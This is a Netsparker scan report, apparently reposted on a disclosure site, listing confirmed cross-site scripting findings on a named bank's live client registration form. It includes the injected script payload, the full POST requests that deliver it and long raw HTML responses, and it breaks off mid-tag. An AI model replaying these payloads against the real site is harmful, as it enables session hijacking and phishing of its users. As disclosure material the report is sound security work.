Netsparker, Web Application Security Scanner

XSS, dukascopy.com, DORK GHDB REPORT SUMMARY

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, Google Hacking Database, DORK Search

CWE-79 XSS Crawler - XSS Engine
CWE-89 SQLi Crawler - SQLi Engine
CWE-113 HTTPi Crawler - HTTPi Engine
CWE-23 LFI, RFI Crawler - LFI, RFI Engine
Loading
Netsparker - Scan Report Summary
TARGET URL
 https://live-login.dukascopy.com/fo/register/...
SCAN DATE
 3/17/2011 2:25:10 PM
REPORT DATE
 3/17/2011 2:31:03 PM
SCAN DURATION
 00:05:52

Total Requests

Average Speed

req/sec.
22
identified
21
confirmed
0
critical
0
informational

GHDB, DORK Tests

GHDB, DORK Tests
PROFILE
 Previous Settings
ENABLED ENGINES
 Find Backup Files, Blind SQL Injection, Boolean SQL Injection, SQL Injection, Cross-site Scripting
Authentication
Scheduled

VULNERABILITIES

Vulnerabilities
Netsparker - Web Application Security Scanner
IMPORTANT
91 %
LOW
9 %
Cross-site Scripting

Cross-site Scripting

20 TOTAL
IMPORTANT
CONFIRMED
20
XSS (Cross-site Scripting) allows an attacker to execute a dynamic script (Javascript, VbScript) in the context of the application. This allows several different attack opportunities, mostly hijacking the current session of the user or changing the look of the page by changing the HTML on the fly to steal the user's credentials. This happens because the input entered by a user has been interpreted as HTML/Javascript/VbScript by the browser.

XSS targets the users of the application instead of the server. Although this is a limitation, since it allows attackers to hijack other users' session, an attacker might attack an administrator to gain full control over the application.

Impact

There are many different attacks that can be leveraged through the use of XSS, including:
  • Hi-jacking users' active session
  • Changing the look of the page within the victims browser.
  • Mounting a successful phishing attack.
  • Intercept data and perform man-in-the-middle attacks.

Remedy

The issue occurs because the browser interprets the input as active HTML, Javascript or VbScript. To avoid this, all input and output from the application should be filtered. Output should be filtered according to the output format and location. Typically the output location is HTML. Where the output is HTML ensure that all active content is removed prior to its presentation to the server.

Prior to sanitizing user input, ensure you have a pre-defined list of both expected and acceptable characters with which you populate a white-list. This list needs only be defined once and should be used to sanitize and validate all subsequent input.

There are a number of pre-defined, well structured white-list libraries available for many different environments, good examples of these include, OWASP Reform and Microsoft Anti Cross-site Scripting libraries are good examples.

Remedy References

External References

- /fo/register/live/index.php

/fo/register/live/index.php CONFIRMED

https://live-login.dukascopy.com/fo/register/live/index.php

Parameters

Parameter Type Value
aData%5BSTRAT_REF%5D POST '"--></style></script><script>alert(0x000110)</script>
aData%5BFEEDBACK_URL%5D POST -1
aData%5BTYPE%5D POST 2
aData%5BaccountKind%5D POST 200
aData%5BserviceProvider%5D POST BBAC47
aData%5BservProviderAnswer%5D POST Yes
aData%5BHTTP_REFERER%5D POST 3
backFormMarker POST 3
currentFormMarker POST step1
nextFormMarker POST step2

Request

POST /fo/register/live/index.php HTTP/1.1
Referer: https://live-login.dukascopy.com/fo/register/live/index.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Hoyt LLC Research - Crawler Fingerprinting Operations)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: live-login.dukascopy.com
Content-Length: 334
Accept-Encoding: gzip, deflate

aData%5BSTRAT_REF%5D='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x000110)%3c%2fscript%3e&aData%5BFEEDBACK_URL%5D=-1&aData%5BTYPE%5D=2&aData%5BaccountKind%5D=200&aData%5BserviceProvider%5D=BBAC47&aData%5BservProviderAnswer%5D=Yes&aData%5BHTTP_REFERER%5D=3&backFormMarker=3&currentFormMarker=step1&nextFormMarker=step2

Response

HTTP/1.1 200 OK
Date: Thu, 17 Mar 2011 19:25:24 GMT
Server: Apache/2
X-Powered-By: PHP/5.3.3
Transfer-Encoding: chunked
Content-Type: text/html; charset=windows-1252



<html lang="en">
<head>
<title>Client Registration</title>
<META http-equiv=Content-Type content="text/html; charset=windows-1252">
<script>
function init() {
fFillForm();
}

var bShowWaiting = true;

function showWaiting() {
if(bShowWaiting) {
for (odj in document.body.childNodes)
try {
document.body.childNodes[odj].style.display = 'none';
}catch(e){}

oProgressDiv = document.createElement('div');
document.body.appendChild(oProgressDiv);
oProgressDiv.align = 'center';
oProgressDiv.innerHTML = "<br/><br/><br/><br/><br/><br/><br/>Please, wait<br/>";

tmp = document.getElementById('progress_img')
oProgressImg = tmp.cloneNode(false);
oProgressImg.style.display = 'block';
oProgressDiv.appendChild(oProgressImg);
bShowWaiting = false;
}
}

function addEventHandler(obj, type, func, useCapture) {
if (obj.addEventListener) {
obj.addEventListener(type, func, useCapture);
return true;
}
else if (obj.attachEvent) {
var r = obj.attachEvent('on' + type, func);
return r;
}
else {
obj['on' + type] = func;
}
}

tipIndex = 0;
function drawTip (sTip, width) {
this.hideDelay = 600;
this.sTip = sTip;
this.hideTimeoutId = null;
var oThis = this;

this.show = function (event) {
var oEvent = (event || window.event);
if (oThis.hideTimeoutId) {
window.clearTimeout(oThis.hideTimeoutId);
return;
} else if (oThis.oTipContainer.style.display == "block") {
return;
}
aSelects = document.getElementsByTagName('SELECT');
for (i=0; i < aSelects.length; i++) {
aSelects[i].style.visibility = 'hidden';
}
oThis.oTipContainer.style.top = oEvent.clientY - oThis.oTipContainer.offsetHeight - 2;
oThis.oTipContainer.style.left = oEvent.clientX + 3;
oThis.oTipContainer.style.display = "block";
}

this.hide = function () {
oThis.hideTimeoutId = null;
oThis.oTipContainer.style.display = "none";
aSelects = document.getElementsByTagName('SELECT');
for (i=0; i < aSelects.length; i++) {
aSelects[i].style.visibility = '';
}
}

this.hideTimeouted = function () {
oThis.hideTimeoutId = window.setTimeout(oThis.hide, oThis.hideDelay);
}

document.write('<img src="../../images/icons/16x16/tip.png" align="absmiddle" height="16" width="16" border="0" id="tipImg' + tipIndex + '"/>');
document.write('<div class="tip" style="display:none;" id="tipContainer' + tipIndex + '">' + sTip + '</div>');

this.oTipImg = document.getElementById('tipImg' + tipIndex);
this.oTipContainer = document.getElementById('tipContainer' + tipIndex);
if (typeof(width) != 'undefined')
this.oTipContainer.style.width = width;
addEventHandler(this.oTipImg, 'mouseover', this.show);
addEventHandler(this.oTipContainer, 'mouseover', this.show);
addEventHandler(this.oTipImg, 'mouseout', this.hideTimeouted);
addEventHandler(this.oTipContainer, 'mouseout', this.hideTimeouted);
tipIndex++;
}
</script>
<!--<script src="js/lib.js"></script>
<script src="js/checkForm.js"></script>-->
<style>
body, td, span, div, p, tr, th, option, font, button, input, select, textarea, b, i, a {
font-size:8pt;
font-family:Verdana;
}
table {
table-layout:fixed;
}
a {
font-weight:bold;
text-decoration:underline;
color:black;
}

a:hover {
color:#666666;
}

.header {
font-size:11pt;
height:24px;
color:#FFFFFF;
font-weight:bold;
text-align:center;
background-image: url('https://www.dukascopy.com/swiss/inc/images/headline_bg_menu.gif');
background-color:#000;
background-position:0px 0px;
background-repeat:repeat-x;
}

.header a {
color:#FFFFFF;
font-weight:bold;
text-decoration:none;
}

.header a:hover {
color:#FFFFFF;
text-decoration:underline;
}

.subheader {
font-size:10pt;
color:#333333;
font-weight:bold;
text-align:center;
padding:5 0 0 0;
}

.subheader * {
font-size:10pt;
font-weight:bold;
}

.step {
font-size:10pt;
color:#999999;
font-weight:bold;
text-align:center;
padding:5 0 5 0;
}
.error {
font-size:10pt;
color:#EE0000;
text-align:center;
padding:5 0 5 0;
font-weight:bold;
}
.title {
text-align:right;
width:50%;
padding:2 2 2 2;
color:#1D4470;
}
.field {
text-align:left;
width:50%;
padding:2 22 2 2;
}
.buttons {
text-align:center;
padding:4 4 4 4;
}
.button {
color:white;
border:1px outset;
cursor:pointer;
background-color:#1D4470;
width:100px;
font-weight:bold;
height:13pt;
}
.info {
text-align:center;
padding-left:22;
padding-right:22;
}
input.text {
width:100%;
border-top:1px solid #cccccc;
border-right:1px solid #cccccc;
border-bottom:1px solid #cccccc;
border-left:1px solid #cccccc;
}
input.checkbox {

}
textarea {
width:100%;
border:1px solid #cccccc;
font-size:8pt !important;
font-weight:normal !important;
}
select {
border:1px solid #cccccc;
}

.tip {
position:absolute;
border: 1px solid #333333;
background-color: #FFFFE1;
width: 250px;
padding: 7px;
text-align: justify;
z-index:100;
}

</style>
</head>
<body onLoad="init();" onBeforeUnload="showWaiting();" style="margin:0px;padding:0px;">
<div style="background:url('https://www.dukascopy.com/pics/topBackground.png') repeat-x;"><img src="https://www.dukascopy.com/pics/headers/website_logo_bank.jpg" alt="Dukascopy" style="width:579px;height:103px;border:none;"></div>
<table width="100%" align="center" border="0" cellpadding="0" cellspacing="0">
<form style="margin:0px;padding:0px;" name="mainForm" action="/fo/register/live/index.php" method="post">
<tr>
<td colspan="2" class="header">
Client Registration
</td>
</tr>
<tr>
<td colspan="2" class="step">
Step 1 of 6-12
</td>
</tr>
<tr>
<td colspan="2">
<div class="error" id=topError>
<div>
</td>
</tr>
<tr>
<td class="title" valign="top">
Date:
</td>
<td class="field" valign="top">
Thu, 17 Mar 2011 </td>
</tr>
<tr>
<td class="title" valign="top">
Status:
</td>
<script>
function radioClickControll() {
var retAcc = document.getElementById('radio_accountKind_6');
var stAcc = document.getElementById('radio_accountKind_7');
var rInd = document.getElementById('radio_type_1');
var rJoint = document.getElementById('radio_type_3');
var rLegal = document.getElementById('radio_type_2');

if(retAcc.checked) {
rLegal.disabled = true;
}
if(stAcc.checked) {
rLegal.disabled = false;
}

if(rLegal.checked) {
retAcc.disabled = true;
}
if(rInd.checked || rJoint.checked) {
retAcc.disabled = false;
}


}
</script>
<td class="field" valign="top">
<input type="hidden" name="aData[STRAT_REF]" value="-1">
<input type="hidden" name="aData[FEEDBACK_URL]" value="-1">
<input type="radio" name="aData[TYPE]" id="radio_type_1" value="1" checked onclick="radioClickControll()"> <label for="radio_type_1">For Individuals</label><br/>
<input type="radio" name="aData[TYPE]" id="radio_type_3" value="3" onclick="radioClickControll()"> <label for="radio_type_3">For Joint Account</label><br/>
<input type="radio" name="aData[TYPE]" id="radio_type_2" value="2" onclick="radioClickControll()"> <label for="radio_type_2">For Legal Entities</label>
</td>
</tr>
<tr>
<td class="title" valign="top">
Kind of account:
</td>
<td class="field" valign="top">
<script>
function fSetManagedAccountStrategyMode(bShown) {
oInp = document.getElementById('sel_managedAccountStrategy');
oInp.disabled = !bShown;
oInp.style.display = (bShown?"":"none");
if(bShown) {
document.getElementById('servProvider0').checked = false;
}
}

function fSetServProviderMode(bShown) {
oInp = document.getElementById('sel_servProvider');
oInp.disabled = !bShown;
oInp.style.display = (bShown?"":"none");
if(bShown) {
document.getElementById('extManContact0').checked = false;
}
}
</script>
<table border="0" cellpadding="1" cellspacing="0" style="table-layout:auto;">
<tr>
<td>
<input type="radio" name="aData[accountKind]" value="" style=display:none checked>
<input type="radio" name="aData[accountKind]" value="6" id="radio_accountKind_6" onClick="radioClickControll();fSetServProviderMode(false);fSetManagedAccountStrategyMode(false);">
</td>
<td>
<label for="radio_accountKind_6">Retail Account</label>
</td>
</tr>

<tr>
<td>
<input type="radio" name="aData[accountKind]" value="7" id="radio_accountKind_7" onClick="radioClickControll();fSetServProviderMode(false);fSetManagedAccountStrategyMode(false);">
</td>
<td>
<label for="radio_accountKind_7">Standard Account (from 50 000 USD)</label>
</td>
</tr>

<tr>
<td>
<input type="radio" name="aData[accountKind]" value="100" id="radio_accountKind_100" onClick="fSetServProviderMode(false);fSetManagedAccountStrategyMode(true);">
</td>
<td>
<label for="radio_accountKind_100">Managed Account</label>
</td>
</tr>
<tr>
<td></td>
<td valign="top" id="sel_managedAccountStrategy" style="display:none;" disabled>

<b>Whilst selecting your Manager/Attorney and for convenience purposes only you may use the pull-down menu. Dukascopy has not performed any competence verification or due diligence, does not issue any recommendation concerning your Manager/Attorney and can not be held liable for any losses, direct and indirect damages whether financial or not, resulting from your Manager/Attorney&#039;s acts or omissions.</b><br>
<select name="aData[managedAccountStrategy]" id="sel_mas">
<option value='1ABEM3' >&nbsp;1ABEM3</option><option value='356JFH1' >&nbsp;356JFH1</option><option value='356JFH2' >&nbsp;356JFH2</option><option value='356JFH3' >&nbsp;356JFH3</option><option value='356JFH4' >&nbsp;356JFH4</option><option value='356JFH5' >&nbsp;356JFH5</option><option value='3SFX1' >&nbsp;3SFX1</option><option value='3SFX2' >&nbsp;3SFX2</option><option value='45GHKLBV' >&nbsp;45GHKLBV</option><option value='AADB88' >&nbsp;AADB88</option><option value='ABBB22' >&nbsp;ABBB22</option><option value='ABEF73' >&nbsp;ABEF73</option><option value='AEAC86' >&nbsp;AEAC86</option><option value='AECC31' >&nbsp;AECC31</option><option value='ALPX' >&nbsp;ALPX</option><option value='ALTV' >&nbsp;ALTV</option><option value='ARCH' >&nbsp;ARCH</option><option value='ARXX' >&nbsp;ARXX</option><option value='AZAT681' >&nbsp;AZAT681</option><option value='Augustan' >&nbsp;Augustan</option><option value='BABC92' >&nbsp;BABC92</option><option value='BADF84' >&nbsp;BADF84</option><option value='BAYWM' >&nbsp;BAYWM</option><option value='BCAD67' >&nbsp;BCAD67</option><option value='BCBC72' >&nbsp;BCBC72</option><option value='BCCA82' >&nbsp;BCCA82</option><option value='BCEE55' >&nbsp;BCEE55</option><option value='BDAD35' >&nbsp;BDAD35</option><option value='BDCC70' >&nbsp;BDCC70</option><option value='BDCP' >&nbsp;BDCP</option><option value='BEAD70' >&nbsp;BEAD70</option><option value='BEAF55' >&nbsp;BEAF55</option><option value='BECF19' >&nbsp;BECF19</option><option value='BEDD59' >&nbsp;BEDD59</option><option value='BEEE43' >&nbsp;BEEE43</option><option value='BRKIC' >&nbsp;BRKIC</option><option value='BUSH' >&nbsp;BUSH</option><option value='BUSH288' >&nbsp;BUSH288</option><option value='CBFB47' >&nbsp;CBFB47</option><option value='CCDE32' >&nbsp;CCDE32</option><option value='CCPFX' >&nbsp;CCPFX</option><option value='CDCD88' >&nbsp;CDCD88</option><option value='CDFD34' >&nbsp;CDFD34</option><option value='CEDD62' >&nbsp;CEDD62</option><option value='CEFA67' >&nbsp;CEFA67</option><option value='CEFF58' >&nbsp;CEFF58</option><option value='CFEC46' >&nbsp;CFEC46</option><option value='CFFX' >&nbsp;CFFX</option><option value='CGFX' >&nbsp;CGFX</option><option value='CHBC' >&nbsp;CHBC</option><option value='CLMFX' >&nbsp;CLMFX</option><option value='CurrClub' >&nbsp;CurrClub</option><option value='DADD65' >&nbsp;DADD65</option><option value='DBAA26' >&nbsp;DBAA26</option><option value='DBAF77' >&nbsp;DBAF77</option><option value='DBFB93' >&nbsp;DBFB93</option><option value='DCCD84' >&nbsp;DCCD84</option><option value='DCEC93' >&nbsp;DCEC93</option><option value='DDBF26' >&nbsp;DDBF26</option><option value='DDCC49' >&nbsp;DDCC49</option><option value='DDDB32' >&nbsp;DDDB32</option><option value='DEFD33' >&nbsp;DEFD33</option><option value='DF56NB' >&nbsp;DF56NB</option><option value='DF794J0' >&nbsp;DF794J0</option><option value='DFAF50' >&nbsp;DFAF50</option><option value='DG785' >&nbsp;DG785</option><option value='DOXX' >&nbsp;DOXX</option><option value='DRFX1' >&nbsp;DRFX1</option><option value='DSBP' >&nbsp;DSBP</option><option value='EACE93' >&nbsp;EACE93</option><option value='EADA74' >&nbsp;EADA74</option><option value='EAEE21' >&nbsp;EAEE21</option><option value='EAFD36' >&nbsp;EAFD36</option><option value='EBAD44' >&nbsp;EBAD44</option><option value='EBBB34' >&nbsp;EBBB34</option><option value='EBDE90' >&nbsp;EBDE90</option><option value='ECURRENTZ' >&nbsp;ECURRENTZ</option><option value='EDCC46' >&nbsp;EDCC46</option><option value='EFAF70' >&nbsp;EFAF70</option><option value='EFBB17' >&nbsp;EFBB17</option><option value='EFCA50' >&nbsp;EFCA50</option><option value='EFCA92' >&nbsp;EFCA92</option><option value='FAAC62' >&nbsp;FAAC62</option><option value='FBDB80' >&nbsp;FBDB80</option><option value='FBDF30' >&nbsp;FBDF30</option><option value='FBED79' >&nbsp;FBED79</option><option value='FBFA65' >&nbsp;FBFA65</option><option value='FCCA80' >&nbsp;FCCA80</option><op..
- /fo/register/live/index.php

/fo/register/live/index.php CONFIRMED

https://live-login.dukascopy.com/fo/register/live/index.php

Parameters

Parameter Type Value
aData%5BSTRAT_REF%5D POST '"--></style></script><script>alert(0x00010E)</script>
aData%5BFEEDBACK_URL%5D POST -1
aData%5BTYPE%5D POST 1
aData%5BaccountKind%5D POST 3
aData%5BHTTP_REFERER%5D POST 3
backFormMarker POST 3
currentFormMarker POST step1
nextFormMarker POST step2

Request

POST /fo/register/live/index.php HTTP/1.1
Referer: https://live-login.dukascopy.com/fo/register/live/index.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Hoyt LLC Research - Crawler Fingerprinting Operations)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: live-login.dukascopy.com
Content-Length: 264
Accept-Encoding: gzip, deflate

aData%5BSTRAT_REF%5D='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x00010E)%3c%2fscript%3e&aData%5BFEEDBACK_URL%5D=-1&aData%5BTYPE%5D=1&aData%5BaccountKind%5D=3&aData%5BHTTP_REFERER%5D=3&backFormMarker=3&currentFormMarker=step1&nextFormMarker=step2

Response

HTTP/1.1 200 OK
Date: Thu, 17 Mar 2011 19:25:24 GMT
Server: Apache/2
X-Powered-By: PHP/5.3.3
Transfer-Encoding: chunked
Content-Type: text/html; charset=windows-1252



<html lang="en">
<head>
<title>Client Registration</title>
<META http-equiv=Content-Type content="text/html; charset=windows-1252">
<script>
function init() {
fFillForm();
}

var bShowWaiting = true;

function showWaiting() {
if(bShowWaiting) {
for (odj in document.body.childNodes)
try {
document.body.childNodes[odj].style.display = 'none';
}catch(e){}

oProgressDiv = document.createElement('div');
document.body.appendChild(oProgressDiv);
oProgressDiv.align = 'center';
oProgressDiv.innerHTML = "<br/><br/><br/><br/><br/><br/><br/>Please, wait<br/>";

tmp = document.getElementById('progress_img')
oProgressImg = tmp.cloneNode(false);
oProgressImg.style.display = 'block';
oProgressDiv.appendChild(oProgressImg);
bShowWaiting = false;
}
}

function addEventHandler(obj, type, func, useCapture) {
if (obj.addEventListener) {
obj.addEventListener(type, func, useCapture);
return true;
}
else if (obj.attachEvent) {
var r = obj.attachEvent('on' + type, func);
return r;
}
else {
obj['on' + type] = func;
}
}

tipIndex = 0;
function drawTip (sTip, width) {
this.hideDelay = 600;
this.sTip = sTip;
this.hideTimeoutId = null;
var oThis = this;

this.show = function (event) {
var oEvent = (event || window.event);
if (oThis.hideTimeoutId) {
window.clearTimeout(oThis.hideTimeoutId);
return;
} else if (oThis.oTipContainer.style.display == "block") {
return;
}
aSelects = document.getElementsByTagName('SELECT');
for (i=0; i < aSelects.length; i++) {
aSelects[i].style.visibility = 'hidden';
}
oThis.oTipContainer.style.top = oEvent.clientY - oThis.oTipContainer.offsetHeight - 2;
oThis.oTipContainer.style.left = oEvent.clientX + 3;
oThis.oTipContainer.style.display = "block";
}

this.hide = function () {
oThis.hideTimeoutId = null;
oThis.oTipContainer.style.display = "none";
aSelects = document.getElementsByTagName('SELECT');
for (i=0; i < aSelects.length; i++) {
aSelects[i].style.visibility = '';
}
}

this.hideTimeouted = function () {
oThis.hideTimeoutId = window.setTimeout(oThis.hide, oThis.hideDelay);
}

document.write('<img src="../../images/icons/16x16/tip.png" align="absmiddle" height="16" width="16" border="0" id="tipImg' + tipIndex + '"/>');
document.write('<div class="tip" style="display:none;" id="tipContainer' + tipIndex + '">' + sTip + '</div>');

this.oTipImg = document.getElementById('tipImg' + tipIndex);
this.oTipContainer = document.getElementById('tipContainer' + tipIndex);
if (typeof(width) != 'undefined')
this.oTipContainer.style.width = width;
addEventHandler(this.oTipImg, 'mouseover', this.show);
addEventHandler(this.oTipContainer, 'mouseover', this.show);
addEventHandler(this.oTipImg, 'mouseout', this.hideTimeouted);
addEventHandler(this.oTipContainer, 'mouseout', this.hideTimeouted);
tipIndex++;
}
</script>
<!--<script src="js/lib.js"></script>
<script src="js/checkForm.js"></script>-->
<style>
body, td, span, div, p, tr, th, option, font, button, input, select, textarea, b, i, a {
font-size:8pt;
font-family:Verdana;
}
table {
table-layout:fixed;
}
a {
font-weight:bold;
text-decoration:underline;
color:black;
}

a:hover {
color:#666666;
}

.header {
font-size:11pt;
height:24px;
color:#FFFFFF;
font-weight:bold;
text-align:center;
background-image: url('https://www.dukascopy.com/swiss/inc/images/headline_bg_menu.gif');
background-color:#000;
background-position:0px 0px;
background-repeat:repeat-x;
}

.header a {
color:#FFFFFF;
font-weight:bold;
text-decoration:none;
}

.header a:hover {
color:#FFFFFF;
text-decoration:underline;
}

.subheader {
font-size:10pt;
color:#333333;
font-weight:bold;
text-align:center;
padding:5 0 0 0;
}

.subheader * {
font-size:10pt;
font-weight:bold;
}

.step {
font-size:10pt;
color:#999999;
font-weight:bold;
text-align:center;
padding:5 0 5 0;
}
.error {
font-size:10pt;
color:#EE0000;
text-align:center;
padding:5 0 5 0;
font-weight:bold;
}
.title {
text-align:right;
width:50%;
padding:2 2 2 2;
color:#1D4470;
}
.field {
text-align:left;
width:50%;
padding:2 22 2 2;
}
.buttons {
text-align:center;
padding:4 4 4 4;
}
.button {
color:white;
border:1px outset;
cursor:pointer;
background-color:#1D4470;
width:100px;
font-weight:bold;
height:13pt;
}
.info {
text-align:center;
padding-left:22;
padding-right:22;
}
input.text {
width:100%;
border-top:1px solid #cccccc;
border-right:1px solid #cccccc;
border-bottom:1px solid #cccccc;
border-left:1px solid #cccccc;
}
input.checkbox {

}
textarea {
width:100%;
border:1px solid #cccccc;
font-size:8pt !important;
font-weight:normal !important;
}
select {
border:1px solid #cccccc;
}

.tip {
position:absolute;
border: 1px solid #333333;
background-color: #FFFFE1;
width: 250px;
padding: 7px;
text-align: justify;
z-index:100;
}

</style>
</head>
<body onLoad="init();" onBeforeUnload="showWaiting();" style="margin:0px;padding:0px;">
<div style="background:url('https://www.dukascopy.com/pics/topBackground.png') repeat-x;"><img src="https://www.dukascopy.com/pics/headers/website_logo_bank.jpg" alt="Dukascopy" style="width:579px;height:103px;border:none;"></div>
<table width="100%" align="center" border="0" cellpadding="0" cellspacing="0">
<form style="margin:0px;padding:0px;" name="mainForm" action="/fo/register/live/index.php" method="post">
<tr>
<td colspan="2" class="header">
Client Registration
</td>
</tr>
<tr>
<td colspan="2" class="step">
Step 1 of 6-12
</td>
</tr>
<tr>
<td colspan="2">
<div class="error" id=topError>
<div>
</td>
</tr>
<tr>
<td class="title" valign="top">
Date:
</td>
<td class="field" valign="top">
Thu, 17 Mar 2011 </td>
</tr>
<tr>
<td class="title" valign="top">
Status:
</td>
<script>
function radioClickControll() {
var retAcc = document.getElementById('radio_accountKind_6');
var stAcc = document.getElementById('radio_accountKind_7');
var rInd = document.getElementById('radio_type_1');
var rJoint = document.getElementById('radio_type_3');
var rLegal = document.getElementById('radio_type_2');

if(retAcc.checked) {
rLegal.disabled = true;
}
if(stAcc.checked) {
rLegal.disabled = false;
}

if(rLegal.checked) {
retAcc.disabled = true;
}
if(rInd.checked || rJoint.checked) {
retAcc.disabled = false;
}


}
</script>
<td class="field" valign="top">
<input type="hidden" name="aData[STRAT_REF]" value="-1">
<input type="hidden" name="aData[FEEDBACK_URL]" value="-1">
<input type="radio" name="aData[TYPE]" id="radio_type_1" value="1" checked onclick="radioClickControll()"> <label for="radio_type_1">For Individuals</label><br/>
<input type="radio" name="aData[TYPE]" id="radio_type_3" value="3" onclick="radioClickControll()"> <label for="radio_type_3">For Joint Account</label><br/>
<input type="radio" name="aData[TYPE]" id="radio_type_2" value="2" onclick="radioClickControll()"> <label for="radio_type_2">For Legal Entities</label>
</td>
</tr>
<tr>
<td class="title" valign="top">
Kind of account:
</td>
<td class="field" valign="top">
<script>
function fSetManagedAccountStrategyMode(bShown) {
oInp = document.getElementById('sel_managedAccountStrategy');
oInp.disabled = !bShown;
oInp.style.display = (bShown?"":"none");
if(bShown) {
document.getElementById('servProvider0').checked = false;
}
}

function fSetServProviderMode(bShown) {
oInp = document.getElementById('sel_servProvider');
oInp.disabled = !bShown;
oInp.style.display = (bShown?"":"none");
if(bShown) {
document.getElementById('extManContact0').checked = false;
}
}
</script>
<table border="0" cellpadding="1" cellspacing="0" style="table-layout:auto;">
<tr>
<td>
<input type="radio" name="aData[accountKind]" value="" style=display:none checked>
<input type="radio" name="aData[accountKind]" value="6" id="radio_accountKind_6" onClick="radioClickControll();fSetServProviderMode(false);fSetManagedAccountStrategyMode(false);">
</td>
<td>
<label for="radio_accountKind_6">Retail Account</label>
</td>
</tr>

<tr>
<td>
<input type="radio" name="aData[accountKind]" value="7" id="radio_accountKind_7" onClick="radioClickControll();fSetServProviderMode(false);fSetManagedAccountStrategyMode(false);">
</td>
<td>
<label for="radio_accountKind_7">Standard Account (from 50 000 USD)</label>
</td>
</tr>

<tr>
<td>
<input type="radio" name="aData[accountKind]" value="100" id="radio_accountKind_100" onClick="fSetServProviderMode(false);fSetManagedAccountStrategyMode(true);">
</td>
<td>
<label for="radio_accountKind_100">Managed Account</label>
</td>
</tr>
<tr>
<td></td>
<td valign="top" id="sel_managedAccountStrategy" style="display:none;" disabled>

<b>Whilst selecting your Manager/Attorney and for convenience purposes only you may use the pull-down menu. Dukascopy has not performed any competence verification or due diligence, does not issue any recommendation concerning your Manager/Attorney and can not be held liable for any losses, direct and indirect damages whether financial or not, resulting from your Manager/Attorney&#039;s acts or omissions.</b><br>
<select name="aData[managedAccountStrategy]" id="sel_mas">
<option value='1ABEM3' >&nbsp;1ABEM3</option><option value='356JFH1' >&nbsp;356JFH1</option><option value='356JFH2' >&nbsp;356JFH2</option><option value='356JFH3' >&nbsp;356JFH3</option><option value='356JFH4' >&nbsp;356JFH4</option><option value='356JFH5' >&nbsp;356JFH5</option><option value='3SFX1' >&nbsp;3SFX1</option><option value='3SFX2' >&nbsp;3SFX2</option><option value='45GHKLBV' >&nbsp;45GHKLBV</option><option value='AADB88' >&nbsp;AADB88</option><option value='ABBB22' >&nbsp;ABBB22</option><option value='ABEF73' >&nbsp;ABEF73</option><option value='AEAC86' >&nbsp;AEAC86</option><option value='AECC31' >&nbsp;AECC31</option><option value='ALPX' >&nbsp;ALPX</option><option value='ALTV' >&nbsp;ALTV</option><option value='ARCH' >&nbsp;ARCH</option><option value='ARXX' >&nbsp;ARXX</option><option value='AZAT681' >&nbsp;AZAT681</option><option value='Augustan' >&nbsp;Augustan</option><option value='BABC92' >&nbsp;BABC92</option><option value='BADF84' >&nbsp;BADF84</option><option value='BAYWM' >&nbsp;BAYWM</option><option value='BCAD67' >&nbsp;BCAD67</option><option value='BCBC72' >&nbsp;BCBC72</option><option value='BCCA82' >&nbsp;BCCA82</option><option value='BCEE55' >&nbsp;BCEE55</option><option value='BDAD35' >&nbsp;BDAD35</option><option value='BDCC70' >&nbsp;BDCC70</option><option value='BDCP' >&nbsp;BDCP</option><option value='BEAD70' >&nbsp;BEAD70</option><option value='BEAF55' >&nbsp;BEAF55</option><option value='BECF19' >&nbsp;BECF19</option><option value='BEDD59' >&nbsp;BEDD59</option><option value='BEEE43' >&nbsp;BEEE43</option><option value='BRKIC' >&nbsp;BRKIC</option><option value='BUSH' >&nbsp;BUSH</option><option value='BUSH288' >&nbsp;BUSH288</option><option value='CBFB47' >&nbsp;CBFB47</option><option value='CCDE32' >&nbsp;CCDE32</option><option value='CCPFX' >&nbsp;CCPFX</option><option value='CDCD88' >&nbsp;CDCD88</option><option value='CDFD34' >&nbsp;CDFD34</option><option value='CEDD62' >&nbsp;CEDD62</option><option value='CEFA67' >&nbsp;CEFA67</option><option value='CEFF58' >&nbsp;CEFF58</option><option value='CFEC46' >&nbsp;CFEC46</option><option value='CFFX' >&nbsp;CFFX</option><option value='CGFX' >&nbsp;CGFX</option><option value='CHBC' >&nbsp;CHBC</option><option value='CLMFX' >&nbsp;CLMFX</option><option value='CurrClub' >&nbsp;CurrClub</option><option value='DADD65' >&nbsp;DADD65</option><option value='DBAA26' >&nbsp;DBAA26</option><option value='DBAF77' >&nbsp;DBAF77</option><option value='DBFB93' >&nbsp;DBFB93</option><option value='DCCD84' >&nbsp;DCCD84</option><option value='DCEC93' >&nbsp;DCEC93</option><option value='DDBF26' >&nbsp;DDBF26</option><option value='DDCC49' >&nbsp;DDCC49</option><option value='DDDB32' >&nbsp;DDDB32</option><option value='DEFD33' >&nbsp;DEFD33</option><option value='DF56NB' >&nbsp;DF56NB</option><option value='DF794J0' >&nbsp;DF794J0</option><option value='DFAF50' >&nbsp;DFAF50</option><option value='DG785' >&nbsp;DG785</option><option value='DOXX' >&nbsp;DOXX</option><option value='DRFX1' >&nbsp;DRFX1</option><option value='DSBP' >&nbsp;DSBP</option><option value='EACE93' >&nbsp;EACE93</option><option value='EADA74' >&nbsp;EADA74</option><option value='EAEE21' >&nbsp;EAEE21</option><option value='EAFD36' >&nbsp;EAFD36</option><option value='EBAD44' >&nbsp;EBAD44</option><option value='EBBB34' >&nbsp;EBBB34</option><option value='EBDE90' >&nbsp;EBDE90</option><option value='ECURRENTZ' >&nbsp;ECURRENTZ</option><option value='EDCC46' >&nbsp;EDCC46</option><option value='EFAF70' >&nbsp;EFAF70</option><option value='EFBB17' >&nbsp;EFBB17</option><option value='EFCA50' >&nbsp;EFCA50</option><option value='EFCA92' >&nbsp;EFCA92</option><option value='FAAC62' >&nbsp;FAAC62</option><option value='FBDB80' >&nbsp;FBDB80</option><option value='FBDF30' >&nbsp;FBDF30</option><option value='FBED79' >&nbsp;FBED79</option><option value='FBFA65' >&nbsp;FBFA65</option><option value='FCCA80' >&nbsp;FCCA80</option><op..
- /fo/register/live/index.php

/fo/register/live/index.php CONFIRMED

